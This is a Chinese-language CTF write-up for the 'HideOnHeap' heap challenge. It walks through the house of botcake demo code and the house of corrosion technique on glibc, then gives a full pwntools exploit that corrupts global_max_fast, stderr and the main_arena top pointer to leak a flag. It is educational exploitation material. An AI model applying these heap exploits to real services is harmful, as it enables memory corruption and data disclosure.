更多的是跟着官方的wp做一个详细的学习。
全开
上来直接把flag读到了第一个chunk中
add
bss的数组上能写堆地址跟堆块
堆块数量大小都有所限制
edit
正常edit
delete
显然是有double free
但是把size数组清空了。
前面的edit就根据size来,size清空之后我们显然就没了什么办法。
这里就要介绍第一个工具
house of botcake
这是完整版damo
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");
// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("Allocating a chunk for later consolidation");
intptr_t *prev = malloc(0x100);
puts("Allocating the victim chunk.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
// simple tcache poisoning
puts("Launch tcache poisoning");
puts("Now the victim is contained in a larger freed chunk, we can do a simple tcache poisoning by using overlapped chunk");
intptr_t *b = malloc(0x120);
puts("We simply overwrite victim's fwd pointer");
b[0x120/8-2] = (long)stack_var;
// take target out
puts("Now we can cash out the target chunk.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("The new chunk is at %p\n", c);
// sanity check
assert(c==stack_var);
printf("Got control on target/stack!\n\n");
// note
puts("Note:");
puts("And the wonderful thing about this exploitation is that: you can free b, victim again and modify the fwd pointer of victim");
puts("In that case, once you have done this exploitation, you can have many arbitary writes very easily.");
return 0;
}
它的作用可以把double free转换成uaf,更便于利用。
其实看起来还不是很直观,我们直接跟着动调一遍。
用的libc是libc-2.27.so
首先上来申请了10个chunk
我们假设他们是chunk1-10
第一步就是把tcache填满,把chunk1-7free掉
第二步
chunk9也被我们释放,将它扔进了unsorted bin, chunk9也是我们的victim chunk。所以chunk10的作用就是防止堆块合并而已。
第三步
把chunk8也释放掉,让他与chunk9合并。
第四步
malloc一下让tcache少一个
然后利用double free,让我们的chunk9也就是victim chunk double free一下。
第五步
申请一个大一些的chunk,在这里是0x120
它会去unsorted bin里面去申请chunk8 跟chunk9的结合体
但是chunk9又被放进了tcache
我们申请回来这个0x120的这个chunk之后就可以往tcache中投毒了。
下面这个是上面程序的简化版。
char *x[7];
for(int i=0; i<7; i++){
x[i] = malloc(0x100);
}
char *a = malloc(0x100);
char *b = malloc(0x100);
malloc(0x10);
for(int i=0; i<7; i++){
free(x[i]);
}
free(b);
free(a);
malloc(0x100);
free(b);
char* res = malloc(0x130);
*(uint64_t*)(res+0x110) = (uint64_t)(&victim);
malloc(0x100);
char *target = malloc(0x100);
紧接着呢
还要学习一个姿势
house of corrosion
说白了就是系统的说了一下当我们能控制global_fast_max的时候我们如何合理的去利用它。
上来先申请了18个chunk
其中一半大小0x88, 一半0x3f0
chunk2和chunk13进行了布置
然后利用前面的九个0x90大小的chunk走了一下我们上面提到的house of botcake
但是这次的victim chunk变成了chunk 0 , chunk 1.
也就是释放了chunk1 0 然后申请了chunk0 ,让tcache有个位置之后double free chunk1.
接着为了后面的利用,这里不直接进行利用
而是选择这里把tcache清空掉。
然后申请一个比较大的chunk,这里进行overlap。
那么现在chunk0没啥事
chunk1是被overlap的chunk
chunk2-7没事
chunk8是大一些的将chunk1overlap的chunk
然后释放了chunk11-17
也就是那7个比较大的chunk
紧接着还是house of botcake的手法
但是最后没有选择去overlap
而是选择了让chunk18等于chunk10
然后同个两个循环
循环的每次首先释放掉有问题的chunk,然后通过覆写的手段,使其能不停的释放
躲开libc2.28及以上的指针检测
再次将chunk 1 chunk10释放
他们就会进入unsorted bin
然后tcache里面就会直接有地址
然后将已经进入unsorted bin 的两个chunk分别瓜分掉
就是申请四个chunk再把他们申请回来
add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20
然后就直接去攻击global_max_fast跟stderr
首先把global_max_fast改大以后
利用那个覆写,直接改变chunk大小,进行free
就把chunk的值写在了相应位置
为什么要用这种手法
因为这个时候是不能再去申请很大chunk的,如果对应的地方有值,那就会报错
那么free的时候因为会检测下一个chunk,来看这个chunk是否合法。
所以我们刚开始提前edit了一下
这里就派上了用场
直接用house of corrosion把堆地址写在了_IO_2_1_stderr结构体里面了
然后再次攻击这个地方
那这个地方是干嘛的呢
我们把源码掏出来
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
发现是topchunk的指针
然后攻击stderr
再把global_max_fast改回来
改global_max_fast的作用是方便一会报错。
攻击stderr的效果就是heap的base是write的base
导致报错的时候输出从heap的base开始
最后就能把我们的flag输出来。
当然我们的做法还可以进一步优化一下
因为最后攻击strerr的时候还面临着1/16的爆破
我们可以通过对堆块适当的调整来解决这个问题。
exp是对官方的exp做了小小的调整
# encoding: utf-8
from pwn import *
context.log_level = "debug"
sh = process("./HideOnHeap")
def choice(idx):
sh.sendlineafter("Choice:", str(idx))
def add(size):
choice(1)
sh.sendlineafter("Size:", str(size))
def edit(idx, content):
choice(2)
sh.sendlineafter("Index:", str(idx))
sh.sendafter("Content:", str(content))
def delete(idx):
choice(3)
sh.sendlineafter("Index:", str(idx))
add(0x88) # prev 0
add(0x88) # 1
for i in range(7):
add(0x88) #2 - 8
add(0x3F0) # 9
add(0x3F0) # 10
for i in range(7):
add(0x3F0) #11 - 17
edit(2, '6' * 0x20 + '\x00' * 8 + p64(0x21))
edit(13, '5' * 0x30 + '\x00' * 8 + p64(0x21) + '\x00' * 0x8 + p64(0x21) + '\x00' *0x8 + p64(0x21))
for i in range(2, 9):
delete(i)
delete(1)
delete(0)
add(0x88) #0
delete(1)
for i in range(7):
add(0x88) #1 - 7
add(0x118) #8 overlapping 1
for i in range(11, 18):
delete(i)
delete(10)
delete(9)
add(0x3F0) #9
delete(10)
for i in range(7):
add(0x3F0) #10-16
add(0x3F0) #17
add(0x3F0) #18 == 10
for i in range(7):
delete(1)
edit(8, '\x00' * 0x88 + p64(0x91) + '\x00' * 0x10)
for i in range(7):
delete(10)
edit(18, '\x00' * 0x10)
delete(1)
delete(10)
add(0x58) #1
add(0x18) #10
add(0x3D8) #19
add(0x18) #20
edit(8, '\x00' * 0x88 + p64(0x91) + '\x40\xa9')
edit(18, '\x80\x96')
gdb.attach(sh, "p/x &global_max_fast\np/x &_IO_2_1_stderr_\n")
add(0x88) # 21 = 1
add(0x88) # 22 global_max_fast
add(0x3F0) # 23 = 10
add(0x3F0) # 24 stderr
edit(22, '\xFF' * 8) # change global_max_fast
edit(8, '\x00' * 0x88 + p64(0x14C1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14D1))
delete(21)
edit(8, '\x00' * 0x88 + p64(0x14E1))
delete(21)
#change main_arena->top
for i in range(8):
edit(8, '\x00' * 0x88 + p64(0xC1) + '\x00' * 0x10)
delete(21)
edit(24, p64(0xfbad1800) + '\x00' * 0x19 + '\xf0')
edit(22, p64(0x80))
#gdb.attach(sh)
add(0x300)
sh.interactive()